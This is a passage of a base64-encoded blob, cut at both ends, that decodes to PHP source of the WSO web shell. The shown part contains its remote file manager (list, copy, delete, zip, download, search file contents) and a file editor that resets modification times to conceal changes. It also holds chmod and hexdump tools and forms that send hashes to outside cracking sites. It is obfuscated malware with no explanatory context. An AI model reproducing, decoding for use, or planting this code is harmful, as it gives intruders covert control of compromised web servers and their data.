aV0pKSwgJ3Blcm1zJyA9PiB3c29QZXJtc0NvbG9yKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSksICdzaXplJyA9PiBAZmlsZXNpemUoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSksICdvd25lcicgPT4gJG93WyduYW1lJ10/JG93WyduYW1lJ106QGZpbGVvd25lcigkZGlyQ29udGVudFskaV0pLCAnZ3JvdXAnID0+ICRnclsnbmFtZSddPyRnclsnbmFtZSddOkBmaWxlZ3JvdXAoJGRpckNvbnRlbnRbJGldKSApOyBpZihAaXNfZmlsZSgkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0pKSAkZmlsZXNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZmlsZScpKTsgZWxzZWlmKEBpc19saW5rKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSkpICRkaXJzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2xpbmsnLCAnbGluaycgPT4gcmVhZGxpbmsoJHRtcFsncGF0aCddKSkpOyBlbHNlaWYoQGlzX2RpcigkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0pKSAkZGlyc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdkaXInKSk7IH0gJEdMT0JBTFNbJ3NvcnQnXSA9ICRzb3J0OyBmdW5jdGlvbiB3c29DbXAoJGEsICRiKSB7IGlmKCRHTE9CQUxTWydzb3J0J11bMF0gIT0gJ3NpemUnKSByZXR1cm4gc3RyY21wKHN0cnRvbG93ZXIoJGFbJEdMT0JBTFNbJ3NvcnQnXVswXV0pLCBzdHJ0b2xvd2VyKCRiWyRHTE9CQUxTWydzb3J0J11bMF1dKSkqKCRHTE9CQUxTWydzb3J0J11bMV0/MTotMSk7IGVsc2UgcmV0dXJuICgoJGFbJ3NpemUnXSA8ICRiWydzaXplJ10pID8gLTEgOiAxKSooJEdMT0JBTFNbJ3NvcnQnXVsxXT8xOi0xKTsgfSB1c29ydCgkZmlsZXMsICJ3c29DbXAiKTsgdXNvcnQoJGRpcnMsICJ3c29DbXAiKTsgJGZpbGVzID0gYXJyYXlfbWVyZ2UoJGRpcnMsICRmaWxlcyk7ICRsID0gMDsgZm9yZWFjaCgkZmlsZXMgYXMgJGYpIHsgZWNobyAnPHRyJy4oJGw/JyBjbGFzcz1sMSc6JycpLic+PHRkPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9ImZbXSIgdmFsdWU9IicudXJsZW5jb2RlKCRmWyduYW1lJ10pLiciIGNsYXNzPWNoa2J4PjwvdGQ+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPSInLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT8nZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ3ZpZXdcJykiPicuaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSddKTonZyhcJ0ZpbGVzTWFuXCcsXCcnLiRmWydwYXRoJ10uJ1wnKTsiICcgLiAoZW1wdHkgKCRmWydsaW5rJ10pID8gJycgOiAidGl0bGU9J3skZlsnbGluayddfSciKSAuICc+PGI+WyAnIC4gaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSddKSAuICcgXTwvYj4nKS4nPC9hPjwvdGQ+PHRkPicuKCgkZlsndHlwZSddPT0nZmlsZScpP3dzb1ZpZXdTaXplKCRmWydzaXplJ10pOiRmWyd0eXBlJ10pLic8L3RkPjx0ZD4nLiRmWydtb2RpZnknXS4nPC90ZD48dGQ+Jy4kZlsnb3duZXInXS4nLycuJGZbJ2dyb3VwJ10uJzwvdGQ+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsXCdjaG1vZFwnKSI+Jy4kZlsncGVybXMnXSAuJzwvdGQ+PHRkPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCdyZW5hbWVcJykiPlI8L2E+IDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCd0b3VjaFwnKSI+VDwvYT4nLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT8nIDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCdlZGl0XCcpIj5FPC9hPiA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwnZG93bmxvYWRcJykiPkQ8L2E+JzonJykuJzwvdGQ+PC90cj4nOyAkbCA9ICRsPzA6MTsgfSBlY2hvICI8dHI+PHRkIGNvbHNwYW49Nz4KCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J0ZpbGVzTWFuJz4KCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9JyIgLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPgoJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nIi4gKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykuIic+Cgk8c2VsZWN0IG5hbWU9J3AxJz48b3B0aW9uIHZhbHVlPSdjb3B5Jz5Db3B5PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nbW92ZSc+TW92ZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2RlbGV0ZSc+RGVsZXRlPC9vcHRpb24+IjsgaWYoY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIGVjaG8gIjxvcHRpb24gdmFsdWU9J3ppcCc+Q29tcHJlc3MgKHppcCk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSd1bnppcCc+VW5jb21wcmVzcyAoemlwKTwvb3B0aW9uPiI7IGVjaG8gIjxvcHRpb24gdmFsdWU9J3Rhcic+Q29tcHJlc3MgKHRhci5neik8L29wdGlvbj4iOyBpZighZW1wdHkoJF9DT09LSUVbJ2FjdCddKSAmJiBAY291bnQoJF9DT09LSUVbJ2YnXSkpIGVjaG8gIjxvcHRpb24gdmFsdWU9J3Bhc3RlJz5QYXN0ZSAvIENvbXByZXNzPC9vcHRpb24+IjsgZWNobyAiPC9zZWxlY3Q+Jm5ic3A7IjsgaWYoIWVtcHR5KCRfQ09PS0lFWydhY3QnXSkgJiYgQGNvdW50KCRfQ09PS0lFWydmJ10pICYmICgoJF9DT09LSUVbJ2FjdCddID09ICd6aXAnKSB8fCAoJF9DT09LSUVbJ2FjdCddID09ICd0YXInKSkpIGVjaG8gImZpbGUgbmFtZTogPGlucHV0IHR5cGU9dGV4dCBuYW1lPXAyIHZhbHVlPSd3c29fIiAuIGRhdGUoIlltZF9IaXMiKSAuICIuIiAuICgkX0NPT0tJRVsnYWN0J10gPT0gJ3ppcCc/J3ppcCc6J3Rhci5neicpIC4gIic+Jm5ic3A7IjsgZWNobyAiPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9Jz4+Jz48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+PC9kaXY+Ijsgd3NvRm9vdGVyKCk7IH0gZnVuY3Rpb24gYWN0aW9uU3RyaW5nVG9vbHMoKSB7IGlmKCFmdW5jdGlvbl9leGlzdHMoJ2hleDJiaW4nKSkge2Z1bmN0aW9uIGhleDJiaW4oJHApIHtyZXR1cm4gZGVjYmluKGhleGRlYygkcCkpO319IGlmKCFmdW5jdGlvbl9leGlzdHMoJ2JpbmhleCcpKSB7ZnVuY3Rpb24gYmluaGV4KCRwKSB7cmV0dXJuIGRlY2hleChiaW5kZWMoJHApKTt9fSBpZighZnVuY3Rpb25fZXhpc3RzKCdoZXgyYXNjaWknKSkge2Z1bmN0aW9uIGhleDJhc2NpaSgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RyTGVuKCRwKTskaSs9Mil7JHIuPWNocihoZXhkZWMoJHBbJGldLiRwWyRpKzFdKSk7fXJldHVybiAkcjt9fSBpZighZnVuY3Rpb25fZXhpc3RzKCdhc2NpaTJoZXgnKSkge2Z1bmN0aW9uIGFzY2lpMmhleCgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RybGVuKCRwKTsrKyRpKSRyLj0gc3ByaW50ZignJTAyWCcsb3JkKCRwWyRpXSkpO3JldHVybiBzdHJ0b3VwcGVyKCRyKTt9fSBpZighZnVuY3Rpb25fZXhpc3RzKCdmdWxsX3VybGVuY29kZScpKSB7ZnVuY3Rpb24gZnVsbF91cmxlbmNvZGUoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0cmxlbigkcCk7KyskaSkkci49ICclJy5kZWNoZXgob3JkKCRwWyRpXSkpO3JldHVybiBzdHJ0b3VwcGVyKCRyKTt9fSAkc3RyaW5nVG9vbHMgPSBhcnJheSggJ0Jhc2U2NCBlbmNvZGUnID0+ICdiYXNlNjRfZW5jb2RlJywgJ0Jhc2U2NCBkZWNvZGUnID0+ICdiYXNlNjRfZGVjb2RlJywgJ1VybCBlbmNvZGUnID0+ICd1cmxlbmNvZGUnLCAnVXJsIGRlY29kZScgPT4gJ3VybGRlY29kZScsICdGdWxsIHVybGVuY29kZScgPT4gJ2Z1bGxfdXJsZW5jb2RlJywgJ21kNSBoYXNoJyA9PiAnbWQ1JywgJ3NoYTEgaGFzaCcgPT4gJ3NoYTEnLCAnY3J5cHQnID0+ICdjcnlwdCcsICdDUkMzMicgPT4gJ2NyYzMyJywgJ0FTQ0lJIHRvIEhFWCcgPT4gJ2FzY2lpMmhleCcsICdIRVggdG8gQVNDSUknID0+ICdoZXgyYXNjaWknLCAnSEVYIHRvIERFQycgPT4gJ2hleGRlYycsICdIRVggdG8gQklOJyA9PiAnaGV4MmJpbicsICdERUMgdG8gSEVYJyA9PiAnZGVjaGV4JywgJ0RFQyB0byBCSU4nID0+ICdkZWNiaW4nLCAnQklOIHRvIEhFWCcgPT4gJ2JpbmhleCcsICdCSU4gdG8gREVDJyA9PiAnYmluZGVjJywgJ1N0cmluZyB0byBsb3dlciBjYXNlJyA9PiAnc3RydG9sb3dlcicsICdTdHJpbmcgdG8gdXBwZXIgY2FzZScgPT4gJ3N0cnRvdXBwZXInLCAnSHRtbHNwZWNpYWxjaGFycycgPT4gJ2h0bWxzcGVjaWFsY2hhcnMnLCAnU3RyaW5nIGxlbmd0aCcgPT4gJ3N0cmxlbicsICk7IGlmKGlzc2V0KCRfUE9TVFsnYWpheCddKSkgeyBXU09zZXRjb29raWUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnLCB0cnVlKTsgb2Jfc3RhcnQoKTsgaWYoaW5fYXJyYXkoJF9QT1NUWydwMSddLCAkc3RyaW5nVG9vbHMpKSBlY2hvICRfUE9TVFsncDEnXSgkX1BPU1RbJ3AyJ10pOyAkdGVtcCA9ICJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc3RyT3V0cHV0Jykuc3R5bGUuZGlzcGxheT0nJztkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc3RyT3V0cHV0JykuaW5uZXJIVE1MPSciLmFkZGNzbGFzaGVzKGh0bWxzcGVjaWFsY2hhcnMob2JfZ2V0X2NsZWFuKCkpLCJcblxyXHRcXCdcMCIpLiInO1xuIjsgZWNobyBzdHJsZW4oJHRlbXApLCAiXG4iLCAkdGVtcDsgZXhpdDsgfSBpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKSBXU09zZXRjb29raWUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnLCAwKTsgd3NvSGVhZGVyKCk7IGVjaG8gJzxoMT5TdHJpbmcgY29udmVyc2lvbnM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOyBlY2hvICI8Zm9ybSBuYW1lPSd0b29sc0Zvcm0nIG9uU3VibWl0PSdpZih0aGlzLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsdGhpcy5zZWxlY3RUb29sLnZhbHVlLHRoaXMuaW5wdXQudmFsdWUpO31lbHNle2cobnVsbCxudWxsLHRoaXMuc2VsZWN0VG9vbC52YWx1ZSx0aGlzLmlucHV0LnZhbHVlKTt9IHJldHVybiBmYWxzZTsnPjxzZWxlY3QgbmFtZT0nc2VsZWN0VG9vbCc+IjsgZm9yZWFjaCgkc3RyaW5nVG9vbHMgYXMgJGsgPT4gJHYpIGVjaG8gIjxvcHRpb24gdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkdikuIic+Ii4kay4iPC9vcHRpb24+IjsgZWNobyAiPC9zZWxlY3Q+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9Jz4+Jy8+IDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICIuKEAkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuIj4gc2VuZCB1c2luZyBBSkFYPGJyPjx0ZXh0YXJlYSBuYW1lPSdpbnB1dCcgc3R5bGU9J21hcmdpbi10b3A6NXB4JyBjbGFzcz1iaWdhcmVhPiIuKGVtcHR5KCRfUE9TVFsncDEnXSk/Jyc6aHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydwMiddKSkuIjwvdGV4dGFyZWE+PC9mb3JtPjxwcmUgY2xhc3M9J21sMScgc3R5bGU9JyIuKGVtcHR5KCRfUE9TVFsncDEnXSk/J2Rpc3BsYXk6bm9uZTsnOicnKS4ibWFyZ2luLXRvcDo1cHgnIGlkPSdzdHJPdXRwdXQnPiI7IGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7IGlmKGluX2FycmF5KCRfUE9TVFsncDEnXSwgJHN0cmluZ1Rvb2xzKSllY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKCRfUE9TVFsncDInXSkpOyB9IGVjaG8iPC9wcmU+PC9kaXY+PGJyPjxoMT5TZWFyY2ggZmlsZXM6PC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+CgkJPGZvcm0gb25zdWJtaXQ9XCJnKG51bGwsdGhpcy5jd2QudmFsdWUsbnVsbCx0aGlzLnRleHQudmFsdWUsdGhpcy5maWxlbmFtZS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjx0YWJsZSBjZWxscGFkZGluZz0nMScgY2VsbHNwYWNpbmc9JzAnIHdpZHRoPSc1MCUnPgoJCQk8dHI+PHRkIHdpZHRoPScxJSc+VGV4dDo8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ndGV4dCcgc3R5bGU9J3dpZHRoOjEwMCUnPjwvdGQ+PC90cj4KCQkJPHRyPjx0ZD5QYXRoOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdjd2QnIHZhbHVlPSciLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiInIHN0eWxlPSd3aWR0aDoxMDAlJz48L3RkPjwvdHI+CgkJCTx0cj48dGQ+TmFtZTo8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZmlsZW5hbWUnIHZhbHVlPScqJyBzdHlsZT0nd2lkdGg6MTAwJSc+PC90ZD48L3RyPgoJCQk8dHI+PHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+Pic+PC90ZD48L3RyPgoJCQk8L3RhYmxlPjwvZm9ybT4iOyBmdW5jdGlvbiB3c29SZWN1cnNpdmVHbG9iKCRwYXRoKSB7IGlmKHN1YnN0cigkcGF0aCwgLTEpICE9ICcvJykgJHBhdGguPScvJzsgJHBhdGhzID0gQGFycmF5X3VuaXF1ZShAYXJyYXlfbWVyZ2UoQGdsb2IoJHBhdGguJF9QT1NUWydwMyddKSwgQGdsb2IoJHBhdGguJyonLCBHTE9CX09OTFlESVIpKSk7IGlmKGlzX2FycmF5KCRwYXRocykmJkBjb3VudCgkcGF0aHMpKSB7IGZvcmVhY2goJHBhdGhzIGFzICRpdGVtKSB7IGlmKEBpc19kaXIoJGl0ZW0pKXsgaWYoJHBhdGghPSRpdGVtKSB3c29SZWN1cnNpdmVHbG9iKCRpdGVtKTsgfSBlbHNlIHsgaWYoZW1wdHkoJF9QT1NUWydwMiddKSB8fCBAc3RycG9zKGZpbGVfZ2V0X2NvbnRlbnRzKCRpdGVtKSwgJF9QT1NUWydwMiddKSE9PWZhbHNlKSBlY2hvICI8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLG51bGwsXCIiLnVybGVuY29kZSgkaXRlbSkuIlwiLCBcInZpZXdcIixcIlwiKSc+Ii5odG1sc3BlY2lhbGNoYXJzKCRpdGVtKS4iPC9hPjxicj4iOyB9IH0gfSB9IGlmKEAkX1BPU1RbJ3AzJ10pIHdzb1JlY3Vyc2l2ZUdsb2IoJF9QT1NUWydjJ10pOyBlY2hvICI8L2Rpdj48YnI+PGgxPlNlYXJjaCBmb3IgaGFzaDo8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4KCQk8Zm9ybSBtZXRob2Q9J3Bvc3QnIHRhcmdldD0nX2JsYW5rJyBuYW1lPSdoZic+CgkJCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdoYXNoJyBzdHlsZT0nd2lkdGg6MjAwcHg7Jz48YnI+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2FjdCcgdmFsdWU9J2ZpbmQnLz4KCQkJPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J2hhc2hjcmFja2luZy5ydScgb25jbGljaz1cImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cHM6Ly9oYXNoY3JhY2tpbmcucnUvaW5kZXgucGhwJztkb2N1bWVudC5oZi5zdWJtaXQoKVwiPjxicj4KCQkJPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J21kNS5yZWRub2l6ZS5jb20nIG9uY2xpY2s9XCJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHA6Ly9tZDUucmVkbm9pemUuY29tLz9xPScrZG9jdW1lbnQuaGYuaGFzaC52YWx1ZSsnJnM9bWQ1Jztkb2N1bWVudC5oZi5zdWJtaXQoKVwiPjxicj4KICAgICAgICAgICAgPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J2NyYWNrZm9yLm1lJyBvbmNsaWNrPVwiZG9jdW1lbnQuaGYuYWN0aW9uPSdodHRwOi8vY3JhY2tmb3IubWUvaW5kZXgucGhwJztkb2N1bWVudC5oZi5zdWJtaXQoKVwiPjxicj4KCQk8L2Zvcm0+PC9kaXY+Ijsgd3NvRm9vdGVyKCk7IH0gZnVuY3Rpb24gYWN0aW9uRmlsZXNUb29scygpIHsgaWYoIGlzc2V0KCRfUE9TVFsncDEnXSkgKSAkX1BPU1RbJ3AxJ10gPSB1cmxkZWNvZGUoJF9QT1NUWydwMSddKTsgaWYoQCRfUE9TVFsncDInXT09J2Rvd25sb2FkJykgeyBpZihAaXNfZmlsZSgkX1BPU1RbJ3AxJ10pICYmIEBpc19yZWFkYWJsZSgkX1BPU1RbJ3AxJ10pKSB7IG9iX3N0YXJ0KCJvYl9nemhhbmRsZXIiLCA0MDk2KTsgaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iLmJhc2VuYW1lKCRfUE9TVFsncDEnXSkpOyBpZiAoZnVuY3Rpb25fZXhpc3RzKCJtaW1lX2NvbnRlbnRfdHlwZSIpKSB7ICR0eXBlID0gQG1pbWVfY29udGVudF90eXBlKCRfUE9TVFsncDEnXSk7IGhlYWRlcigiQ29udGVudC1UeXBlOiAiIC4gJHR5cGUpOyB9IGVsc2UgaGVhZGVyKCJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpOyAkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAiciIpOyBpZigkZnApIHsgd2hpbGUoIUBmZW9mKCRmcCkpIGVjaG8gQGZyZWFkKCRmcCwgMTAyNCk7IGZjbG9zZSgkZnApOyB9IH1leGl0OyB9IGlmKCBAJF9QT1NUWydwMiddID09ICdta2ZpbGUnICkgeyBpZighZmlsZV9leGlzdHMoJF9QT1NUWydwMSddKSkgeyAkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAndycpOyBpZigkZnApIHsgJF9QT1NUWydwMiddID0gImVkaXQiOyBmY2xvc2UoJGZwKTsgfSB9IH0gd3NvSGVhZGVyKCk7IGVjaG8gJzxoMT5GaWxlIHRvb2xzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsgaWYoICFmaWxlX2V4aXN0cyhAJF9QT1NUWydwMSddKSApIHsgZWNobyAnRmlsZSBub3QgZXhpc3RzJzsgd3NvRm9vdGVyKCk7IHJldHVybjsgfSAkdWlkID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJF9QT1NUWydwMSddKSk7IGlmKCEkdWlkKSB7ICR1aWRbJ25hbWUnXSA9IEBmaWxlb3duZXIoJF9QT1NUWydwMSddKTsgJGdpZFsnbmFtZSddID0gQGZpbGVncm91cCgkX1BPU1RbJ3AxJ10pOyB9IGVsc2UgJGdpZCA9IEBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRfUE9TVFsncDEnXSkpOyBlY2hvICc8c3Bhbj5OYW1lOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKEBiYXNlbmFtZSgkX1BPU1RbJ3AxJ10pKS4nIDxzcGFuPlNpemU6PC9zcGFuPiAnLihpc19maWxlKCRfUE9TVFsncDEnXSk/d3NvVmlld1NpemUoZmlsZXNpemUoJF9QT1NUWydwMSddKSk6Jy0nKS4nIDxzcGFuPlBlcm1pc3Npb246PC9zcGFuPiAnLndzb1Blcm1zQ29sb3IoJF9QT1NUWydwMSddKS4nIDxzcGFuPk93bmVyL0dyb3VwOjwvc3Bhbj4gJy4kdWlkWyduYW1lJ10uJy8nLiRnaWRbJ25hbWUnXS4nPGJyPic7IGVjaG8gJzxzcGFuPkNoYW5nZSB0aW1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0tZCBIOmk6cycsZmlsZWN0aW1lKCRfUE9TVFsncDEnXSkpLicgPHNwYW4+QWNjZXNzIHRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlYXRpbWUoJF9QT1NUWydwMSddKSkuJyA8c3Bhbj5Nb2RpZnkgdGltZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkX1BPU1RbJ3AxJ10pKS4nPGJyPjxicj4nOyBpZiggZW1wdHkoJF9QT1NUWydwMiddKSApICRfUE9TVFsncDInXSA9ICd2aWV3JzsgaWYoIGlzX2ZpbGUoJF9QT1NUWydwMSddKSApICRtID0gYXJyYXkoJ1ZpZXcnLCAnSGlnaGxpZ2h0JywgJ0Rvd25sb2FkJywgJ0hleGR1bXAnLCAnRWRpdCcsICdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsgZWxzZSAkbSA9IGFycmF5KCdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsgZm9yZWFjaCgkbSBhcyAkdikgZWNobyAnPGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLFwnJyAuIHVybGVuY29kZSgkX1BPU1RbJ3AxJ10pIC4gJ1wnLFwnJy5zdHJ0b2xvd2VyKCR2KS4nXCcpIj4nLigoc3RydG9sb3dlcigkdik9PUAkX1BPU1RbJ3AyJ10pPyc8Yj5bICcuJHYuJyBdPC9iPic6JHYpLic8L2E+ICc7IGVjaG8gJzxicj48YnI+Jzsgc3dpdGNoKCRfUE9TVFsncDInXSkgeyBjYXNlICd2aWV3JzogZWNobyAnPHByZSBjbGFzcz1tbDE+JzsgJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3InKTsgaWYoJGZwKSB7IHdoaWxlKCAhQGZlb2YoJGZwKSApIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhAZnJlYWQoJGZwLCAxMDI0KSk7IEBmY2xvc2UoJGZwKTsgfSBlY2hvICc8L3ByZT4nOyBicmVhazsgY2FzZSAnaGlnaGxpZ2h0JzogaWYoIEBpc19yZWFkYWJsZSgkX1BPU1RbJ3AxJ10pICkgeyBlY2hvICc8ZGl2IGNsYXNzPW1sMSBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UxZTFlMTtjb2xvcjpibGFjazsiPic7ICRjb2RlID0gQGhpZ2hsaWdodF9maWxlKCRfUE9TVFsncDEnXSx0cnVlKTsgZWNobyBzdHJfcmVwbGFjZShhcnJheSgnPHNwYW4gJywnPC9zcGFuPicpLCBhcnJheSgnPGZvbnQgJywnPC9mb250PicpLCRjb2RlKS4nPC9kaXY+JzsgfSBicmVhazsgY2FzZSAnY2htb2QnOiBpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7ICRwZXJtcyA9IDA7IGZvcigkaT1zdHJsZW4oJF9QT1NUWydwMyddKS0xOyRpPj0wOy0tJGkpICRwZXJtcyArPSAoaW50KSRfUE9TVFsncDMnXVskaV0qcG93KDgsIChzdHJsZW4oJF9QT1NUWydwMyddKS0kaS0xKSk7IGlmKCFAY2htb2QoJF9QT1NUWydwMSddLCAkcGVybXMpKSBlY2hvICdDYW5cJ3Qgc2V0IHBlcm1pc3Npb25zITxicj48c2NyaXB0PmRvY3VtZW50Lm1mLnAzLnZhbHVlPSIiOzwvc2NyaXB0Pic7IH0gY2xlYXJzdGF0Y2FjaGUoKTsgZWNobyAnPHNjcmlwdD5wM189IiI7PC9zY3JpcHQ+PGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLFwnJyAuIHVybGVuY29kZSgkX1BPU1RbJ3AxJ10pIC4gJ1wnLG51bGwsdGhpcy5jaG1vZC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWNobW9kIHZhbHVlPSInLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkX1BPU1RbJ3AxJ10pKSwtNCkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7IGJyZWFrOyBjYXNlICdlZGl0JzogaWYoICFpc193cml0YWJsZSgkX1BPU1RbJ3AxJ10pKSB7IGVjaG8gJ0ZpbGUgaXNuXCd0IHdyaXRlYWJsZSc7IGJyZWFrOyB9IGlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsgJHRpbWUgPSBAZmlsZW10aW1lKCRfUE9TVFsncDEnXSk7ICRfUE9TVFsncDMnXSA9IHN1YnN0cigkX1BPU1RbJ3AzJ10sMSk7ICRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sInciKTsgaWYoJGZwKSB7IEBmd3JpdGUoJGZwLCRfUE9TVFsncDMnXSk7IEBmY2xvc2UoJGZwKTsgZWNobyAnU2F2ZWQhPGJyPjxzY3JpcHQ+cDNfPSIiOzwvc2NyaXB0Pic7IEB0b3VjaCgkX1BPU1RbJ3AxJ10sJHRpbWUsJHRpbWUpOyB9IH0gZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLFwnJyAuIHVybGVuY29kZSgkX1BPU1RbJ3AxJ10pIC4gJ1wnLG51bGwsXCcxXCcrdGhpcy50ZXh0LnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48dGV4dGFyZWEgbmFtZT10ZXh0IGNsYXNzPWJpZ2FyZWE+JzsgJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3InKTsgaWYoJGZwKSB7IHdoaWxlKCAhQGZlb2YoJGZwKSApIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhAZnJlYWQoJGZwLCAxMDI0KSk7IEBmY2xvc2UoJGZwKTsgfSBlY2hvICc8L3RleHRhcmVhPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOyBicmVhazsgY2FzZSAnaGV4ZHVtcCc6ICRjID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncDEnXSk7ICRuID0gMDsgJGggPSBhcnJheSgnMDAwMDAwMDA8YnI+JywnJywnJyk7ICRsZW4gPSBzdHJsZW4oJGMpOyBmb3IgKCRpPTA7ICRpPCRsZW47ICsrJGkpIHsgJGhbMV0gLj0gc3ByaW50ZignJTAyWCcsb3JkKCRjWyRpXSkpLicgJzsgc3dpdGNoICggb3JkKCRjWyRpXSkgKSB7IGNhc2UgMDogJGhbMl0gLj0gJyAnOyBicmVhazsgY2FzZSA